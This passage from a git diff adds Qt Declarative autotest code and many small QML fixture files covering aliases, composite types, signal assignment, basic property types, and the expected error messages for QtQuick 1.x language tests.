+ QCOMPARE(item->implicitHeight(), qreal(80));
+ QCOMPARE(item->width(), qreal(150));
+ QCOMPARE(item->height(), qreal(80));
+
+ delete canvas;
+}
+
+void tst_QDeclarativeItem::testQtQuick11Attributes()
+{
+ QFETCH(QString, code);
+ QFETCH(QString, warning);
+ QFETCH(QString, error);
+
+ QDeclarativeEngine engine;
+ QObject *obj;
+
+ QDeclarativeComponent valid(&engine);
+ valid.setData("import QtQuick 1.1; Item { " + code.toUtf8() + " }", QUrl(""));
+ obj = valid.create();
+ QVERIFY(obj);
+ QVERIFY(valid.errorString().isEmpty());
+ delete obj;
+
+ QDeclarativeComponent invalid(&engine);
+ invalid.setData("import QtQuick 1.0; Item { " + code.toUtf8() + " }", QUrl(""));
+ QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
+ obj = invalid.create();
+ QCOMPARE(invalid.errorString(), error);
+ delete obj;
+}
+
+void tst_QDeclarativeItem::testQtQuick11Attributes_data()
+{
+ QTest::addColumn<QString>("code");
+ QTest::addColumn<QString>("warning");
+ QTest::addColumn<QString>("error");
+
+ QTest::newRow("implicitWidth") << "implicitWidth: 100"
+ << "QDeclarativeComponent: Component is not ready"
+ << ":1 \"Item.implicitWidth\" is not available in QtQuick 1.0.\n";
+
+ QTest::newRow("implicitHeight") << "implicitHeight: 100"
+ << "QDeclarativeComponent: Component is not ready"
+ << ":1 \"Item.implicitHeight\" is not available in QtQuick 1.0.\n";
+
+ QTest::newRow("onImplicitWidthChanged") << "onImplicitWidthChanged: x"
+ << "QDeclarativeComponent: Component is not ready"
+ << ":1 \"Item.onImplicitWidthChanged\" is not available in QtQuick 1.0.\n";
+
+ QTest::newRow("onImplicitHeightChanged") << "onImplicitHeightChanged: x"
+ << "QDeclarativeComponent: Component is not ready"
+ << ":1 \"Item.onImplicitHeightChanged\" is not available in QtQuick 1.0.\n";
+}
+
+void tst_QDeclarativeItem::qtbug_16871()
+{
+ QDeclarativeComponent component(&engine, SRCDIR "/data/qtbug_16871.qml");
+ QObject *o = component.create();
+ QVERIFY(o != 0);
+ delete o;
+}
+
+void tst_QDeclarativeItem::qtbug_21045()
+{
+ QDeclarativeComponent component(&engine);
+ QGraphicsScene scene;
+ component.setData("import QtQuick 1.1\nItem{visible: false; focus: true}", QUrl::fromLocalFile("file:"));
+ QObject *o = component.create();
+ QDeclarativeItem* i = qobject_cast<QDeclarativeItem*>(o);
+ QVERIFY(i);
+ scene.addItem(i);
+ QVERIFY(!i->hasActiveFocus());
+}
+
+QTEST_MAIN(tst_QDeclarativeItem)
+
+#include "tst_qdeclarativeitem.moc"
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/Alias.qml b/tests/auto/declarative/qdeclarativelanguage/data/Alias.qml
new file mode 100644
index 00000000..6a33deff
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/Alias.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+
+QtObject {
+ id: root
+ property int value: 1892
+ property alias aliasValue: root.value
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/Alias2.qml b/tests/auto/declarative/qdeclarativelanguage/data/Alias2.qml
new file mode 100644
index 00000000..919f5d86
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/Alias2.qml
@@ -0,0 +1,9 @@
+import Test 1.0
+import QtQuick 1.0
+
+QtObject {
+ property variant other
+ other: MyTypeObject { id: obj }
+ property alias enumAlias: obj.enumProperty;
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/Alias3.qml b/tests/auto/declarative/qdeclarativelanguage/data/Alias3.qml
new file mode 100644
index 00000000..3f73538b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/Alias3.qml
@@ -0,0 +1,12 @@
+import Test 1.0
+import QtQuick 1.0
+
+QtObject {
+ property alias obj : otherObj
+ property variant child
+ child: QtObject {
+ id: otherObj
+ property int myValue: 10
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/Alias4.qml b/tests/auto/declarative/qdeclarativelanguage/data/Alias4.qml
new file mode 100644
index 00000000..428790d8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/Alias4.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+import QtQuick 1.0
+
+Alias3 {}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/AliasPropertyChangeSignalsType.qml b/tests/auto/declarative/qdeclarativelanguage/data/AliasPropertyChangeSignalsType.qml
new file mode 100644
index 00000000..0bc20254
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/AliasPropertyChangeSignalsType.qml
@@ -0,0 +1,20 @@
+import QtQuick 1.0
+
+QtObject {
+ id: root
+
+ signal sig1
+ signal sig2
+ signal sig3
+ signal sig4
+
+ property alias aliasProperty: root.realProperty
+
+ property int realProperty: 0
+
+ property bool test: false
+
+ Component.onCompleted: {
+ root.realProperty = 10;
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/ComponentComposite.qml b/tests/auto/declarative/qdeclarativelanguage/data/ComponentComposite.qml
new file mode 100644
index 00000000..9349a938
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/ComponentComposite.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+Component {
+ QtObject {}
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/CompositeType.qml b/tests/auto/declarative/qdeclarativelanguage/data/CompositeType.qml
new file mode 100644
index 00000000..cf32b456
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/CompositeType.qml
@@ -0,0 +1,4 @@
+import QtQuick 1.0
+
+QtObject {
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/CompositeType2.qml b/tests/auto/declarative/qdeclarativelanguage/data/CompositeType2.qml
new file mode 100644
index 00000000..86210e90
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/CompositeType2.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+
+MyQmlObject {
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/CompositeType3.qml b/tests/auto/declarative/qdeclarativelanguage/data/CompositeType3.qml
new file mode 100644
index 00000000..0687ce39
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/CompositeType3.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+QtObject {
+ property int a
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/CompositeType4.qml b/tests/auto/declarative/qdeclarativelanguage/data/CompositeType4.qml
new file mode 100644
index 00000000..a6a8168d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/CompositeType4.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+
+MyQmlObject {
+ property int a
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/DontDoubleCallClassBeginItem.qml b/tests/auto/declarative/qdeclarativelanguage/data/DontDoubleCallClassBeginItem.qml
new file mode 100644
index 00000000..1f8eac8a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/DontDoubleCallClassBeginItem.qml
@@ -0,0 +1,4 @@
+import Test 1.0
+
+MyParserStatus {
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/DynamicPropertiesNestedType.qml b/tests/auto/declarative/qdeclarativelanguage/data/DynamicPropertiesNestedType.qml
new file mode 100644
index 00000000..5de8a4a7
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/DynamicPropertiesNestedType.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+QtObject {
+ property int super_a: 10
+ property int super_c: 14
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/HelperAlias.qml b/tests/auto/declarative/qdeclarativelanguage/data/HelperAlias.qml
new file mode 100644
index 00000000..3a7022bd
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/HelperAlias.qml
@@ -0,0 +1,9 @@
+import Test 1.0
+import QtQuick 1.0
+
+QtObject {
+ property variant child
+ child: QtObject { id: obj }
+ property alias objAlias: obj;
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/I18n.qml b/tests/auto/declarative/qdeclarativelanguage/data/I18n.qml
new file mode 100644
index 00000000..558c836e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/I18n.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+
+MyTypeObject {
+ property int áâãäå: 10
+ stringProperty: "Test áâãäå: " + áâãäå
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/I18nType30.qml b/tests/auto/declarative/qdeclarativelanguage/data/I18nType30.qml
new file mode 100644
index 00000000..42dbc690
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/I18nType30.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+
+MyTypeObject {
+ stringProperty: "Test áâãäå: 30"
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/InlineAssignmentsOverrideBindingsType.qml b/tests/auto/declarative/qdeclarativelanguage/data/InlineAssignmentsOverrideBindingsType.qml
new file mode 100644
index 00000000..4526cf04
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/InlineAssignmentsOverrideBindingsType.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+QtObject {
+ property InlineAssignmentsOverrideBindingsType2 nested: InlineAssignmentsOverrideBindingsType2 {
+ value: 19 * 33
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/InlineAssignmentsOverrideBindingsType2.qml b/tests/auto/declarative/qdeclarativelanguage/data/InlineAssignmentsOverrideBindingsType2.qml
new file mode 100644
index 00000000..4127ca43
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/InlineAssignmentsOverrideBindingsType2.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+QtObject {
+ property int value
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/LocalLast.qml b/tests/auto/declarative/qdeclarativelanguage/data/LocalLast.qml
new file mode 100644
index 00000000..f63283e7
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/LocalLast.qml
@@ -0,0 +1,2 @@
+import QtQuick 1.0
+Text {}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/MyComponent.qml b/tests/auto/declarative/qdeclarativelanguage/data/MyComponent.qml
new file mode 100644
index 00000000..1a23277f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/MyComponent.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+
+MyQmlObject {
+ property real x;
+ property real y;
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/MyCompositeValueSource.qml b/tests/auto/declarative/qdeclarativelanguage/data/MyCompositeValueSource.qml
new file mode 100644
index 00000000..e620e264
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/MyCompositeValueSource.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+
+MyPropertyValueSource {
+ property int x
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/MyContainerComponent.qml b/tests/auto/declarative/qdeclarativelanguage/data/MyContainerComponent.qml
new file mode 100644
index 00000000..61f54c5e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/MyContainerComponent.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+
+MyContainer {
+ property int x
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/NestedAlias.qml b/tests/auto/declarative/qdeclarativelanguage/data/NestedAlias.qml
new file mode 100644
index 00000000..8aaddace
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/NestedAlias.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+
+QtObject {
+ property QtObject o1
+ property QtObject o2
+
+ property alias a: object2.a
+
+ o1: QtObject { id: object1 }
+ o2: QtObject {
+ id: object2
+ property int a: 1923
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/NestedComponentRoot.qml b/tests/auto/declarative/qdeclarativelanguage/data/NestedComponentRoot.qml
new file mode 100644
index 00000000..785a27dd
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/NestedComponentRoot.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+Component {
+ Item {
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/NestedErrorsType.qml b/tests/auto/declarative/qdeclarativelanguage/data/NestedErrorsType.qml
new file mode 100644
index 00000000..0ba4bd6d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/NestedErrorsType.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+Item {
+ x: "You can't assign a string to a real!"
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/OnCompletedType.qml b/tests/auto/declarative/qdeclarativelanguage/data/OnCompletedType.qml
new file mode 100644
index 00000000..c2ac5c84
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/OnCompletedType.qml
@@ -0,0 +1,8 @@
+import Test 1.0
+import QtQuick 1.0
+
+MyQmlObject {
+ property int a: Math.max(10, 9)
+ property int b: 11
+ Component.onCompleted: console.log("Completed " + a + " " + b);
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/OnDestructionType.qml b/tests/auto/declarative/qdeclarativelanguage/data/OnDestructionType.qml
new file mode 100644
index 00000000..c3d0e1ef
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/OnDestructionType.qml
@@ -0,0 +1,8 @@
+import Test 1.0
+import QtQuick 1.0
+
+MyQmlObject {
+ property int a: Math.max(10, 9)
+ property int b: 11
+ Component.onDestruction: console.log("Destruction " + a + " " + b);
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/alias.1.qml b/tests/auto/declarative/qdeclarativelanguage/data/alias.1.qml
new file mode 100644
index 00000000..44167af1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/alias.1.qml
@@ -0,0 +1,8 @@
+import Test 1.0
+import QtQuick 1.0
+
+QtObject {
+ id: root
+ property int value: 10
+ property alias valueAlias: root.value
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/alias.10.qml b/tests/auto/declarative/qdeclarativelanguage/data/alias.10.qml
new file mode 100644
index 00000000..bf6352e8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/alias.10.qml
@@ -0,0 +1,8 @@
+import Test 1.0
+
+MyTypeObject {
+ id: root
+ property alias valueAlias: root.rectProperty
+
+ rectProperty: "10,11,9x8"
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/alias.11.qml b/tests/auto/declarative/qdeclarativelanguage/data/alias.11.qml
new file mode 100644
index 00000000..fbd50d9d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/alias.11.qml
@@ -0,0 +1,8 @@
+import Test 1.0
+
+MyTypeObject {
+ id: root
+
+ property alias aliasProperty: root.rectProperty.x
+ rectProperty: "19,13,100x120"
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/alias.2.qml b/tests/auto/declarative/qdeclarativelanguage/data/alias.2.qml
new file mode 100644
index 00000000..5c922709
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/alias.2.qml
@@ -0,0 +1,8 @@
+import Test 1.0
+
+MyQmlObject {
+ id: root
+ property alias aliasObject: root.qmlobjectProperty
+
+ qmlobjectProperty: MyQmlObject { value : 10 }
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/alias.3.qml b/tests/auto/declarative/qdeclarativelanguage/data/alias.3.qml
new file mode 100644
index 00000000..7e5559a7
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/alias.3.qml
@@ -0,0 +1,10 @@
+import QtQuick 1.0
+
+QtObject {
+ property variant other
+ other: Alias { id: myAliasObject }
+
+ property alias value: myAliasObject.aliasValue
+ property alias value2: myAliasObject.value
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/alias.4.qml b/tests/auto/declarative/qdeclarativelanguage/data/alias.4.qml
new file mode 100644
index 00000000..bd6a7693
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/alias.4.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+
+Alias2 {
+ enumAlias: MyTypeObject.EnumVal2
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/alias.5.qml b/tests/auto/declarative/qdeclarativelanguage/data/alias.5.qml
new file mode 100644
index 00000000..0c839ee7
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/alias.5.qml
@@ -0,0 +1,13 @@
+import QtQuick 1.0
+import Test 1.0
+
+QtObject {
+ property alias otherAlias: otherObject
+
+ property variant other
+ other: MyQmlObject {
+ id: otherObject
+ value: 10
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/alias.6.qml b/tests/auto/declarative/qdeclarativelanguage/data/alias.6.qml
new file mode 100644
index 00000000..663e8d0e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/alias.6.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+
+QtObject {
+ property QtObject o;
+ property alias a: object.a
+ o: NestedAlias { id: object }
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/alias.7.qml b/tests/auto/declarative/qdeclarativelanguage/data/alias.7.qml
new file mode 100644
index 00000000..ec5536e7
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/alias.7.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+
+QtObject {
+ property QtObject object
+ property alias aliasedObject: target.object
+
+ object: QtObject {
+ id: target
+
+ property QtObject object
+ object: QtObject {}
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/alias.8.qml b/tests/auto/declarative/qdeclarativelanguage/data/alias.8.qml
new file mode 100644
index 00000000..d480611c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/alias.8.qml
@@ -0,0 +1,9 @@
+import QtQuick 1.0
+
+QtObject {
+ property variant other
+ other: Alias3 { id: myAliasObject }
+
+ property int value: myAliasObject.obj.myValue
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/alias.9.qml b/tests/auto/declarative/qdeclarativelanguage/data/alias.9.qml
new file mode 100644
index 00000000..0a49ad51
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/alias.9.qml
@@ -0,0 +1,9 @@
+import QtQuick 1.0
+
+QtObject {
+ property variant other
+ other: Alias4 { id: myAliasObject }
+
+ property int value: myAliasObject.obj.myValue
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/aliasPropertiesAndSignals.qml b/tests/auto/declarative/qdeclarativelanguage/data/aliasPropertiesAndSignals.qml
new file mode 100644
index 00000000..f04b1f60
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/aliasPropertiesAndSignals.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+
+QtObject {
+ id: root
+
+ property bool test: false
+ property alias myalias: root.objectName
+ signal go
+ onGo: test = true
+
+ Component.onCompleted: {
+ root.go();
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/aliasPropertyChangeSignals.2.qml b/tests/auto/declarative/qdeclarativelanguage/data/aliasPropertyChangeSignals.2.qml
new file mode 100644
index 00000000..a15a7188
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/aliasPropertyChangeSignals.2.qml
@@ -0,0 +1,10 @@
+import QtQuick 1.0
+
+AliasPropertyChangeSignalsType {
+ id: root
+ onAliasPropertyChanged: root.test = true
+
+ function blah() {}
+ property int a
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/aliasPropertyChangeSignals.qml b/tests/auto/declarative/qdeclarativelanguage/data/aliasPropertyChangeSignals.qml
new file mode 100644
index 00000000..7944deb4
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/aliasPropertyChangeSignals.qml
@@ -0,0 +1,16 @@
+import QtQuick 1.0
+
+QtObject {
+ id: root
+
+ property alias aliasProperty: root.realProperty
+ onAliasPropertyChanged: root.test = true
+
+ property int realProperty: 0
+
+ property bool test: false
+
+ Component.onCompleted: {
+ root.realProperty = 10;
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/allowedRevisionOverloads.qml b/tests/auto/declarative/qdeclarativelanguage/data/allowedRevisionOverloads.qml
new file mode 100644
index 00000000..64acbd15
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/allowedRevisionOverloads.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+
+MyRevisionedLegalOverload
+{
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/assignBasicTypes.qml b/tests/auto/declarative/qdeclarativelanguage/data/assignBasicTypes.qml
new file mode 100644
index 00000000..9fe0ded4
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/assignBasicTypes.qml
@@ -0,0 +1,27 @@
+import Test 1.0
+MyTypeObject {
+ flagProperty: "FlagVal1 | FlagVal3"
+ enumProperty: "EnumVal2"
+ stringProperty: "Hello World!"
+ uintProperty: 10
+ intProperty: -19
+ realProperty: 23.2
+ doubleProperty: -19.7
+ floatProperty: 8.5
+ colorProperty: "red"
+ dateProperty: "1982-11-25"
+ timeProperty: "11:11:32"
+ dateTimeProperty: "2009-05-12T13:22:01"
+ pointProperty: "99,13"
+ pointFProperty: "-10.1,12.3"
+ sizeProperty: "99x13"
+ sizeFProperty: "0.1x0.2"
+ rectProperty: "9,7,100x200"
+ rectFProperty: "1000.1,-10.9,400x90.99"
+ boolProperty: true
+ variantProperty: "Hello World!"
+ vectorProperty: "10,1,2.2"
+ urlProperty: "main.qml"
+
+ objectProperty: MyTypeObject { intProperty: 8 }
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/assignCompositeToType.qml b/tests/auto/declarative/qdeclarativelanguage/data/assignCompositeToType.qml
new file mode 100644
index 00000000..ed214ffe
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/assignCompositeToType.qml
@@ -0,0 +1,18 @@
+import QtQuick 1.0
+import Test 1.0
+
+QtObject {
+ property QtObject myProperty
+ property QtObject myProperty2
+ property QtObject myProperty3
+ property QtObject myProperty4
+ property MyQmlObject myProperty5
+ property MyQmlObject myProperty6
+
+ myProperty: CompositeType {}
+ myProperty2: CompositeType2 {}
+ myProperty3: CompositeType3 {}
+ myProperty4: CompositeType4 {}
+ myProperty5: CompositeType2 {}
+ myProperty6: CompositeType4 {}
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/assignLiteralSignalProperty.qml b/tests/auto/declarative/qdeclarativelanguage/data/assignLiteralSignalProperty.qml
new file mode 100644
index 00000000..399fcea0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/assignLiteralSignalProperty.qml
@@ -0,0 +1,4 @@
+import Test 1.0
+MyQmlObject {
+ onLiteralSignal: 10
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/assignLiteralToVariant.qml b/tests/auto/declarative/qdeclarativelanguage/data/assignLiteralToVariant.qml
new file mode 100644
index 00000000..ab6f3df8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/assignLiteralToVariant.qml
@@ -0,0 +1,16 @@
+import QtQuick 1.0
+
+QtObject {
+ property variant test1: 1
+ property variant test2: 1.7
+ property variant test3: "Hello world!"
+ property variant test4: "#FF008800"
+ property variant test5: "10,10,10x10"
+ property variant test6: "10,10"
+ property variant test7: "10x10"
+ property variant test8: "100,100,100"
+ property variant test9: String("#FF008800")
+ property variant test10: true
+ property variant test11: false
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/assignObjectToSignal.qml b/tests/auto/declarative/qdeclarativelanguage/data/assignObjectToSignal.qml
new file mode 100644
index 00000000..789cc662
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/assignObjectToSignal.qml
@@ -0,0 +1,4 @@
+import Test 1.0
+MyQmlObject {
+ onBasicSignal: MyQmlObject {}
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/assignObjectToVariant.qml b/tests/auto/declarative/qdeclarativelanguage/data/assignObjectToVariant.qml
new file mode 100644
index 00000000..aab7ed2c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/assignObjectToVariant.qml
@@ -0,0 +1,7 @@
+import Test 1.0
+import QtQuick 1.0
+
+QtObject {
+ property variant a;
+ a: MyQmlObject {}
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/assignQmlComponent.qml b/tests/auto/declarative/qdeclarativelanguage/data/assignQmlComponent.qml
new file mode 100644
index 00000000..20bdc559
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/assignQmlComponent.qml
@@ -0,0 +1,4 @@
+import Test 1.0
+MyContainer {
+ MyComponent { x: 10; y: 11; }
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/assignSignal.qml b/tests/auto/declarative/qdeclarativelanguage/data/assignSignal.qml
new file mode 100644
index 00000000..2a48df8f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/assignSignal.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+MyQmlObject {
+ onBasicSignal: basicSlot()
+ onBasicParameterizedSignal: basicSlotWithArgs(parameter)
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/assignToNamespace.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/assignToNamespace.errors.txt
new file mode 100644
index 00000000..78aa4713
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/assignToNamespace.errors.txt
@@ -0,0 +1 @@
+4:5:Invalid use of namespace
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/assignToNamespace.qml b/tests/auto/declarative/qdeclarativelanguage/data/assignToNamespace.qml
new file mode 100644
index 00000000..3cde2e82
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/assignToNamespace.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0 as Qt47
+
+Qt47.QtObject {
+ Qt47: 10
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/assignTypeExtremes.qml b/tests/auto/declarative/qdeclarativelanguage/data/assignTypeExtremes.qml
new file mode 100644
index 00000000..60ede525
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/assignTypeExtremes.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+MyTypeObject {
+ uintProperty: 4000000000
+ intProperty: -2000000000
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/assignValueToSignal.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/assignValueToSignal.errors.txt
new file mode 100644
index 00000000..eb1430a7
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/assignValueToSignal.errors.txt
@@ -0,0 +1 @@
+4:5:Cannot assign a value to a signal (expecting a script to be run)
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/assignValueToSignal.qml b/tests/auto/declarative/qdeclarativelanguage/data/assignValueToSignal.qml
new file mode 100644
index 00000000..6fa1259f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/assignValueToSignal.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+
+MyQmlObject {
+ onBasicSignal: "hello world"
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/attachedProperties.qml b/tests/auto/declarative/qdeclarativelanguage/data/attachedProperties.qml
new file mode 100644
index 00000000..1e932251
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/attachedProperties.qml
@@ -0,0 +1,8 @@
+import Test 1.0
+import Test 1.0 as Namespace
+import QtQuick 1.0
+
+QtObject {
+ MyQmlObject.value: 10
+ Namespace.MyQmlObject.value2: 13
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/autoComponentCreation.qml b/tests/auto/declarative/qdeclarativelanguage/data/autoComponentCreation.qml
new file mode 100644
index 00000000..5d00144e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/autoComponentCreation.qml
@@ -0,0 +1,4 @@
+import Test 1.0
+MyTypeObject {
+ componentProperty : MyTypeObject { realProperty: 9 }
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/autoNotifyConnection.qml b/tests/auto/declarative/qdeclarativelanguage/data/autoNotifyConnection.qml
new file mode 100644
index 00000000..640fb54f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/autoNotifyConnection.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+MyQmlObject {
+ property bool receivedNotify : false
+ onPropertyWithNotifyChanged: { receivedNotify = true; }
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/component.1.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/component.1.errors.txt
new file mode 100644
index 00000000..091aad61
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/component.1.errors.txt
@@ -0,0 +1 @@
+3:1:Cannot create empty component specification
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/component.1.qml b/tests/auto/declarative/qdeclarativelanguage/data/component.1.qml
new file mode 100644
index 00000000..f4f66dda
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/component.1.qml
@@ -0,0 +1,4 @@
+import QtQuick 1.0
+
+Component {
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/component.2.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/component.2.errors.txt
new file mode 100644
index 00000000..76e7656a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/component.2.errors.txt
@@ -0,0 +1 @@
+6:9:id is not unique
